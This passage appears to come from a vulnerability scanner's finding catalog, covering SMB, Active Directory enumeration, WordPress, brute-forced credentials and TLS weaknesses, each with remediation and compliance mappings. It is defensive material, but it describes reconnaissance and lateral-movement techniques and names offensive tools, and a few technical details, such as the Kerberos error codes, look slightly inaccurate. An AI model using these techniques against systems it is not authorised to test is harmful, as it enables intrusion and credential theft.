Description: The SMB server permits null session connections — unauthenticated connections using an empty username and password. Via a null session, an attacker can enumerate share names, user accounts, group memberships, local policies, and domain SID information using tools such as enum4linux, rpcclient, or CrackMapExec. This information provides the reconnaissance foundation for subsequent targeted attacks including password spraying, credential brute-force, and Kerberoasting.
Remediation: Enable the following Group Policy settings: 'Network access: Do not allow anonymous enumeration of SAM accounts' = Enabled; 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' = Enabled; 'Network access: Restrict anonymous access to Named Pipes and Shares' = Enabled.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
CRITICAL SS3-070 — SMB Administrative Access via Credentials
Description: Valid credentials were used to authenticate to the SMB service with administrative privileges, and access to administrative shares (C$, ADMIN$, IPC$) was confirmed. Administrative SMB access allows reading and writing files anywhere on the target filesystem, remote service/registry manipulation, and is the primary mechanism used by post-exploitation frameworks (Impacket, CrackMapExec, Metasploit) for lateral movement and remote code execution via PsExec, WMIExec, or SMBExec.
Remediation: Rotate compromised credentials immediately. Implement LAPS (Local Administrator Password Solution) to randomise local administrator passwords per host. Disable the built-in administrator account. Enable SMB signing. Implement network segmentation to limit lateral movement pathways.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-071 — SMB Share Identified with WRITE Permissions
Description: An SMB share has been confirmed to be writable with the credentials used during the scan. Write access to a network share enables an attacker to plant malicious files, overwrite configuration data, introduce DLL hijacking payloads, or stage persistence mechanisms. If the share contains executable content served to other hosts, write access may lead to lateral movement or supply chain compromise within the organisation.
Remediation: Audit all SMB share permissions and apply least-privilege access controls. Remove write access from any accounts that do not require it for business purposes. Implement monitoring and alerting on new file creation events in sensitive shares. Enable SMB signing to prevent NTLM relay to share authentication.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A01:2021
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-072 — SMB Share-Level Authentication (No User-Level Auth)
Description: The SMB server is configured to use share-level authentication rather than user-level authentication. Under share-level authentication, access is controlled by a per-share password rather than user identity. This model lacks auditability (no per-user access logging), prevents granular access control, and is incompatible with modern SMB security features including SMB signing and SMBv2/3 message integrity. Share-level authentication is a legacy mechanism associated with Windows 9x/ME workgroups.
Remediation: Migrate to user-level SMB authentication. Configure the Windows workstation or server to use user-level access control: Computer > Properties > Sharing settings. Join the host to a domain and manage share access via domain user accounts and groups.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
HIGH SS3-073 — BloodHound AD Graph Data Collected
Description: BloodHound-Python successfully collected Active Directory object data including users, groups, computers, GPOs, OUs, and ACLs and produced graph database ingest files. This data enables graph-based analysis of Active Directory attack paths, privilege escalation routes, and delegation abuses. The collection itself demonstrates that the network is reachable from the attacker's position with sufficient credential access to query LDAP at the level required for BloodHound enumeration.
Remediation: Review the collected BloodHound data to identify and remediate high-risk attack paths (paths to Domain Admin, DCSync rights, unconstrained delegation). Implement tiered administration to limit exposure. Monitor LDAP query volume for anomalous bulk enumeration indicative of BloodHound collection.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1482 (Discovery), T1087.002 (Discovery), T1069.002 (Discovery)
NIST 800-53: AC-6, AC-2, AU-12
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-074 — LDAP Domain Users Enumerated
Description: LDAP enumeration successfully retrieved a list of domain user accounts from Active Directory. The enumerated data may include usernames, display names, email addresses, account status, last logon timestamps, and group memberships. This user list provides an attacker with a validated target list for password spraying, credential stuffing, phishing, and Kerberoasting attacks. Successful LDAP enumeration often requires only a low-privileged domain account.
Remediation: Implement LDAP query monitoring and alerting for bulk user enumeration. Apply Protected Users security group membership to privileged accounts. Enforce Kerberos-only authentication for sensitive accounts. Implement fine-grained password policies. Monitor for anomalous LDAP query patterns in Windows event logs (Event ID 4661).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
MEDIUM SS3-075 — Valid Kerberos Usernames Enumerated
Description: Kerbrute or a similar tool enumerated valid Active Directory usernames by sending AS-REQ messages and observing Kerberos error code differences: valid accounts return KRB5KDC_ERR_PREAUTH_REQUIRED (18) or KDC_ERR_CLIENT_REVOKED (12/18) while invalid accounts return KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (6). This technique does not require any credentials and works even when null sessions are disabled, providing a validated username list for subsequent password spray or brute-force attacks.
Remediation: Enable Kerberos pre-authentication on all accounts to reduce the information disclosed in error responses. Monitor domain controller logs for unusual AS-REQ volume (Event IDs 4768, 4771). Deploy a SIEM alert for repeated KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN errors from a single source IP.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
HIGH SS3-076 — Domain Accounts with Password Not Required
Description: One or more Active Directory user accounts have the PASSWD_NOTREQD (UF_PASSWD_NOTREQD, userAccountControl bit 0x0020) flag set, meaning the account may have an empty or blank password. Accounts with this flag are not subject to the domain password policy minimum length requirement and can be authenticated with an empty password. These accounts represent a trivially exploitable authentication bypass if empty passwords are present.
Remediation: Identify all accounts with the PASSWD_NOTREQD flag set: Get-ADUser -Filter {PasswordNotRequired -eq $True}. Set a strong password on each account and remove the flag: Set-ADUser -Identity <user> -PasswordNotRequired $false. Audit and enforce the domain password policy.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1078.002 (Defense Evasion)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.1, 8.3.6
HIGH SS3-077 — Privileged Domain Accounts Identified
Description: LDAP enumeration identified user accounts with membership in highly privileged Active Directory groups such as Domain Admins, Enterprise Admins, Schema Admins, Backup Operators, or Account Operators. These accounts represent high-value targets for credential theft, Kerberoasting, and AS-REP roasting. Compromise of any of these accounts typically results in complete domain compromise. The identification of these accounts guides further attack path analysis.
Remediation: Apply the principle of least privilege: ensure privileged accounts are used only for administrative tasks. Enforce tiered administration (Tier 0/1/2 model). Add privileged accounts to the Protected Users security group. Enforce MFA for all administrative accounts. Restrict privileged account logon rights via GPO.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
HIGH SS3-078 — WordPress Core Vulnerability
Description: WPScan identified a known vulnerability in the WordPress core installation. WordPress core vulnerabilities range from authenticated RCE and privilege escalation to unauthenticated information disclosure and SSRF. The specific CVE, affected version, and exploitation details are recorded in the finding evidence. WordPress core vulnerabilities are frequently weaponised within hours of disclosure due to the large attack surface and widespread deployment.
Remediation: Update WordPress core to the latest stable version via the WordPress admin dashboard (Dashboard > Updates) or WP-CLI (wp core update). Enable automatic core updates for minor versions. Review all active plugins and themes for compatibility before updating.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
HIGH SS3-079 — WordPress Plugin Vulnerability
Description: WPScan identified a known security vulnerability in an installed WordPress plugin. Plugin vulnerabilities are the most common attack vector for WordPress sites, frequently including unauthenticated SQL injection, file upload bypass, XSS, CSRF, and remote code execution. The specific plugin name, version, CVE, and exploitation conditions are recorded in the finding evidence. Vulnerable plugins may be actively exploited using publicly available proof-of-concept code.
Remediation: Update the vulnerable plugin to the latest patched version via the WordPress admin panel (Plugins > Available Updates). If no patched version is available, deactivate and delete the plugin immediately. Consider a web application firewall (WAF) virtual patching rule as a temporary compensating control.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
HIGH SS3-080 — WordPress Theme Vulnerability
Description: WPScan identified a known security vulnerability in an active or inactive WordPress theme. Vulnerable themes can expose the site to file inclusion vulnerabilities, path traversal, XSS, and in some cases remote code execution. Inactive themes are often overlooked during patching cycles and remain exploitable as long as they are installed. The specific theme name, version, CVE, and exploitation details are recorded in the finding evidence.
Remediation: Update the vulnerable theme to the latest patched version or delete it if it is not in use. Review installed themes: Appearance > Themes. Inactive themes should be removed unless required. Prefer themes from the WordPress.org theme directory which are subject to security review.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
MEDIUM SS3-081 — WordPress User Enumeration
Description: WPScan successfully enumerated WordPress user accounts via the author archive URL pattern (?author=N) or the REST API endpoint (/wp-json/wp/v2/users). Enumerated usernames can be used directly for targeted brute-force attacks against the WordPress login page or XML-RPC endpoint. WordPress usernames are frequently identical to the account login names, making this information directly actionable for credential attacks.
Remediation: Disable author archive pages or redirect them to prevent user enumeration (add rewrite rules in .htaccess or use a security plugin). Restrict REST API access to authenticated users for the /wp-json/wp/v2/users endpoint. Use login protection plugins to rate-limit brute-force attempts. Disable XML-RPC if not required.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
INFO SS3-082 — Discovery: Login Page
Description: A web application login page was detected on the target host. Login pages represent the primary authentication attack surface for credential brute-force, password spray, and credential stuffing attacks. The presence of a login page is recorded for documentation and to guide subsequent authentication testing phases.
Remediation: Ensure the login page is protected by account lockout or rate limiting. Implement MFA. Monitor for credential stuffing patterns in authentication logs. Restrict login page access to authorised networks where feasible.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1078 (Initial Access), T1589 (Reconnaissance)
NIST 800-53: IA-2, AC-2
PCI DSS 4: 8.2.1
INFO SS3-083 — Discovery: Web Page
Description: A web page or HTTP service was identified on a non-standard port or host during service enumeration. The URL, title, status code, and response headers are recorded in the finding evidence for subsequent web application testing phases. This finding documents the presence of a web-accessible service for the engagement scope.
Impact: Identified web pages confirm active web content and reveal application structure, response patterns, and technology indicators. This information guides targeted testing of discovered endpoints and functionality.
Remediation: Review all web services exposed on the host and verify they are authorised and required. Remove or restrict access to any web interfaces that are not required for business operations.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
LOW SS3-084 — Default Webpage Detected
Description: The web server is serving a vendor or platform default welcome page (e.g., 'Apache2 Default Page', 'IIS Windows Server', 'nginx Default Page', 'It works!'). A default page indicates the web server was installed but not fully configured, and may indicate that additional default configurations, credentials, or directories are present. It also discloses the server platform and version to potential attackers.
Remediation: Remove the default web content and replace with application-specific content or a redirect. Disable or remove the default site configuration. Ensure server version information is suppressed in HTTP headers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO SS3-085 — Application Identified at Login Page
Description: The web application framework, CMS, or product was identified from the login page content, headers, cookies, or source code. The identified application is recorded for CVE research, default credential testing, and targeted plugin/component enumeration. Application fingerprinting provides the basis for targeted vulnerability research.
Remediation: Suppress application version information in HTTP headers and page source. Remove application-identifying comments and metadata from public-facing pages. This is a reconnaissance finding; remediate the underlying application vulnerabilities identified in subsequent scans.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO SS3-086 — Authentication Method Identified
Description: The authentication mechanism used by the target web application or service was identified. This includes HTTP Basic, NTLM, Digest, Form-based, OAuth, SAML, or certificate-based authentication. The identified authentication method guides subsequent brute-force, session management, and authentication bypass testing, and is recorded for documentation.
Remediation: Ensure the identified authentication method is appropriate for the sensitivity of the resource. HTTP Basic authentication over HTTP (unencrypted) should be replaced with form-based authentication over HTTPS. Legacy NTLM authentication should be replaced with Kerberos or modern token-based authentication.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
CRITICAL SS3-087 — Valid Credentials via Brute Force
Description: Automated credential brute-force or password spraying discovered a valid username and password combination against a network service or web application. The valid credentials have been confirmed by a successful authentication response from the target. This finding represents direct confirmation that an attacker can authenticate to the service and perform all actions permitted to the compromised account.
Remediation: Rotate the compromised credentials immediately. Implement account lockout or rate limiting on the affected service. Deploy multi-factor authentication. Review authentication logs to determine if the credentials were used by an unauthorised party prior to discovery. Enforce a strong password policy.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
HIGH SS3-088 — Public Exploit Available
Description: A public proof-of-concept or weaponised exploit was found for a vulnerability identified during the scan, sourced from ExploitDB, GitHub, or a vulnerability intelligence feed. The availability of a public exploit significantly lowers the skill barrier for exploitation and increases the likelihood of opportunistic attacks. The associated CVE, exploit source, and affected component are recorded in the finding evidence.
Remediation: Treat the associated vulnerability as high priority for immediate patching. Apply vendor patches or mitigations. Implement compensating controls (WAF virtual patching, network segmentation, IDS/IPS signatures) until patches are applied. Monitor threat intelligence feeds for active exploitation indicators.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH SS3-089 — Metasploit Module Available
Description: A Metasploit Framework module (auxiliary scanner or exploit) was identified that matches a vulnerability or service version detected during scanning. The specific Metasploit module path is recorded in the finding evidence. The availability of a Metasploit module indicates reliable, automated exploitability and lowers the barrier to exploitation for unskilled attackers. This finding is recorded for consultant reference; Scattershot3 does not automatically execute exploit modules.
Remediation: Apply vendor patches for the underlying vulnerability. Review the Metasploit module documentation for detailed exploitation conditions and implement appropriate compensating controls (network segmentation, WAF rules, IDS signatures) until patching is complete.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A06:2021
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
MEDIUM SS3-090 — Insecure Protocol Detected: HTTP
Description: A web application or service is served over unencrypted HTTP. All data transmitted between the client and server including session cookies, form data, and credentials is transmitted in plaintext and can be intercepted by any network-positioned observer. Without HTTPS, the service is also susceptible to SSL stripping and man-in-the-middle content injection attacks.
Impact: HTTP services transmit all data in plaintext, allowing any attacker with network access to passively intercept credentials, session tokens, API keys, and business data. Active MITM attackers can also inject malicious content, redirect authentication flows, and modify transactions in transit.
Remediation: Migrate the service to HTTPS with a valid TLS certificate. Configure HTTP to HTTPS redirection. Set the Strict-Transport-Security (HSTS) header with a long max-age value. Obtain a certificate from Let's Encrypt (free) or a commercial CA.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
HIGH SS3-091 — Deprecated Protocol Enabled
Description: A deprecated network protocol is enabled on this host. Deprecated protocols lack modern security controls including strong authentication and encryption, have known cryptographic weaknesses or design flaws, and are no longer maintained by their developers. Examples include Telnet, RSH, RLOGIN, SNMPv1/v2, RIPv1, and older versions of SMB. The specific protocol is recorded in the finding evidence.
Remediation: Disable the deprecated protocol and replace with a modern, secure alternative. Telnet: use SSH. SNMPv1/v2: use SNMPv3 with authentication and encryption. RIPv1: use RIPv2 or OSPF. Review all network service configurations for use of deprecated protocols.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
CRITICAL SS3-092 — Information Disclosure: Plaintext Credentials in Web Content
Description: Credentials (usernames, passwords, API keys, tokens, or connection strings) were discovered in plaintext within web-accessible content, including HTML source, JavaScript files, configuration files served by the web server, or directory listing contents. Plaintext credentials in web-accessible content can be harvested by any user who can access the page and frequently provide direct access to backend databases, APIs, or privileged service accounts.
Remediation: Immediately rotate all exposed credentials. Remove credentials from web-accessible content. Use environment variables or a secrets manager (Vault, AWS Secrets Manager) for credential storage. Audit the web server document root for sensitive files. Implement web application firewall rules to prevent configuration file access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
MEDIUM SS3-093 — SSL/TLS Vulnerability: BEAST
Description: The server is susceptible to the BEAST attack (Browser Exploit Against SSL/TLS, CVE-2011-3389). BEAST exploits a CBC mode initialisation vector (IV) predictability vulnerability in TLS 1.0 and earlier, allowing a man-in-the-middle attacker who can inject chosen plaintext to decrypt CBC-encrypted session data. While the attack requires a network-adjacent attacker and active JavaScript injection in the victim's browser, TLS 1.0 should not be used in modern deployments.
Impact: BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability in TLS 1.0's CBC-mode cipher initialization to decrypt HTTPS cookies and authentication tokens. An attacker with network access can inject chosen plaintext to recover session secrets, enabling session hijacking.
Remediation: Disable TLS 1.0 and SSLv3 entirely. Enable TLS 1.2 and TLS 1.3. Prioritise AEAD cipher suites (AES-GCM, ChaCha20-Poly1305) which are not susceptible to BEAST. Modern TLS 1.2 with RC4 elimination and GCM prioritisation eliminates the BEAST attack surface.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM SS3-094 — SSL/TLS Vulnerability: LUCKY13
Description: The server supports CBC mode cipher suites with HMAC-SHA1 or HMAC-MD5, making it potentially susceptible to the LUCKY13 timing attack (CVE-2013-0169). LUCKY13 is a padding oracle attack against CBC-mode TLS that allows an attacker with precise network timing measurements to decrypt recorded TLS session data. The attack requires approximately 2^23 oracle queries per 16 bytes of plaintext decrypted and is primarily a theoretical concern but indicates use of non-AEAD cipher suites.
Impact: LUCKY13 (CVE-2013-0169) is a timing side-channel attack against CBC-mode cipher suites in TLS. An attacker with network-level access can recover plaintext from encrypted sessions by measuring processing time differences.
Remediation: Prioritise and restrict TLS cipher suites to AEAD algorithms (AES-GCM, ChaCha20-Poly1305) which are immune to CBC padding oracle attacks. Disable all CBC mode cipher suites. Enable TLS 1.3 which exclusively uses AEAD ciphers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM SS3-095 — SSL/TLS Vulnerability: SWEET32
Description: The server supports cipher suites using 64-bit block ciphers (Triple-DES/3DES or Blowfish), making it susceptible to the SWEET32 birthday attack (CVE-2016-2183). After approximately 2^32 blocks (about 32 GB of traffic), an attacker capturing a long-lived TLS session can exploit birthday bound collisions in the CBC mode to recover short, repeated plaintext segments such as HTTP cookies. 3DES-based cipher suites (TLS_RSA_WITH_3DES_EDE_CBC_SHA) should be considered deprecated.
Impact: SWEET32 exploits the birthday bound weakness in 64-bit block ciphers (3DES, Blowfish) used in TLS. After capturing approximately 32GB of ciphertext from a long-lived session, an attacker can recover plaintext blocks, potentially exposing session cookies and authentication tokens.
Remediation: Disable all 64-bit block cipher suites including 3DES (TRIPLE-DES, 3DES-EDE-CBC-SHA) and Blowfish. Ensure the server's cipher list does not include any cipher containing DES or 3DES. Enable only AES-128 and AES-256 based ciphers with GCM mode.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
MEDIUM SS3-096 — SSL/TLS Certificate: Chain Incomplete
Description: The TLS server does not present the full certificate chain during the TLS handshake, omitting one or more intermediate CA certificates. Clients that do not have the intermediate certificate pre-cached will be unable to build a trusted chain to the root CA and will display a certificate error. This indicates a misconfiguration in the server's TLS certificate installation. Some strict clients and mobile browsers do not perform intermediate certificate fetching (AIA chasing) and will fail validation.
Impact: An incomplete certificate chain prevents clients from validating the certificate's trust path. Some clients may reject the connection outright, while others silently proceed without full validation, creating inconsistent security posture across the user base.
Remediation: Reconfigure the TLS server to present the full certificate chain including all required intermediate CA certificates. Obtain the intermediate certificates from the issuing CA and concatenate them with the server certificate in the correct order (leaf first, then intermediates). Verify with: openssl s_client -connect <host>:443 -showcerts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
LOW SS3-097 — SSL/TLS Certificate: Long Duration
Description: The TLS certificate has a validity period exceeding 398 days (approximately 13 months). Since September 2020, Apple, Google, and Mozilla enforce a maximum certificate validity of 398 days, and certificates with longer lifetimes will be rejected by current versions of Safari, Chrome, and Firefox. Longer validity periods also increase the exposure window if a private key is compromised, as the certificate cannot be superseded until it expires or is revoked.
Impact: Long-lived certificates increase the window of exposure if the private key is compromised. Industry best practice limits certificate lifetime to reduce the impact of key compromise and ensure regular rotation of cryptographic material.
Remediation: Replace the certificate with one having a validity period of 398 days or less. Configure automated certificate renewal (ACME/Let's Encrypt or vendor auto-renewal) to ensure certificates are routinely replaced before expiry. For new certificates, request 90-day validity where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
LOW SS3-098 — SSL/TLS Certificate: Missing SAN
Description: The TLS certificate does not contain a Subject Alternative Name (SAN) extension. Since 2017, all major browsers require a SAN to be present and have deprecated reliance on the Common Name (CN) field for hostname validation. Certificates without a SAN will cause certificate validation errors in Chrome, Firefox, and Safari for any hostname validation, even if the CN matches. This is a certificate issuance and lifecycle management deficiency.
Impact: A certificate without Subject Alternative Names (SAN) relies solely on the Common Name field for hostname validation. Modern browsers require SAN entries and may reject CN-only certificates, causing service interruptions and security warnings.
Remediation: Replace the certificate with one that includes a valid Subject Alternative Name (SAN) extension containing the intended hostname(s). All modern CAs issue certificates with SAN by default. If using an internal CA, update the certificate template to include the SAN extension.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO SS3-099 — SSL/TLS Certificate: Serial Number Entropy
Description: The TLS certificate serial number has low entropy, suggesting it was generated with a non-random or predictable serial number algorithm. CA/Browser Forum Baseline Requirements (Section 7.1) require that certificate serial numbers contain at least 64 bits of unpredictable entropy. Low-entropy serial numbers may indicate an outdated certificate authority or CA software configuration, and in conjunction with other weaknesses can facilitate certificate collision or impersonation attacks.
Impact: Low entropy in certificate serial numbers indicates weak random number generation in the issuing CA's infrastructure. This can enable serial number prediction attacks that facilitate certificate forgery.
Remediation: Replace the certificate if issued by an internal CA with an outdated serial number generation algorithm. Update the internal CA software or configuration to generate serial numbers with at least 64 bits of CSPRNG-sourced entropy. For externally issued certificates, verify the CA is CA/B Forum compliant.
Effort: Low
CVSS Vector: N/A
OWASP Web: N/A
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM SS3-100 — SSL/TLS Certificate: Weak Encryption Method
Description: The TLS certificate uses a weak signature algorithm or public key. This includes SHA-1 signed certificates (deprecated since 2017), RSA keys shorter than 2048 bits, DSA keys shorter than 2048 bits, or Elliptic Curve keys shorter than 224 bits. Certificates signed with SHA-1 are vulnerable to chosen-prefix collision attacks (demonstrated by SHAttered). Certificates with short RSA keys are vulnerable to factorisation attacks given current computational resources.
Impact: Certificates signed with weak algorithms (SHA-1, MD5) are vulnerable to collision attacks that allow an attacker to forge a certificate with the same signature, enabling man-in-the-middle attacks that bypass certificate validation entirely.
Remediation: Replace the certificate with one using SHA-256 (or stronger) as the signature algorithm and at minimum RSA-2048 or ECDSA P-256 for the public key. Verify the replacement certificate: openssl x509 -in cert.pem -text | grep 'Signature Algorithm'.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
LOW SS3-101 — SSL/TLS Session: Long Duration
Description: The TLS server allows session resumption with a session ticket lifetime or session cache timeout exceeding recommended limits (typically more than 24 hours for session tickets or more than 10 hours for session IDs). Long-lived TLS sessions extend the window during which a stolen session ticket or cached session key can be replayed by an attacker to resume a session without re-authenticating. This also limits the effectiveness of forward secrecy when session tickets are encrypted with a long-lived key.
Impact: Excessively long TLS session lifetimes increase the window for session resumption attacks and reduce the effectiveness of forward secrecy. Compromised session tickets remain valid for the entire session duration.
Remediation: Reduce TLS session ticket lifetime to a maximum of 24 hours. Rotate TLS session ticket encryption keys regularly (every 6-12 hours). Set the session cache timeout to a reasonable value. On nginx: ssl_session_timeout 1h; ssl_session_ticket_key rotation should be automated.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM SS3-102 — SSL/TLS Cipher: No Cipher Order Configured
Description: The TLS server does not enforce server-side cipher suite ordering, instead accepting the client's preferred cipher suite. Without server-side cipher preference (SSLHonorCipherOrder), a client can negotiate a weak or deprecated cipher suite even if stronger ciphers are available. This allows a downgrade by a malicious client or a MITM that manipulates ClientHello cipher preferences. Server-side ordering ensures the strongest mutually supported cipher is always selected.
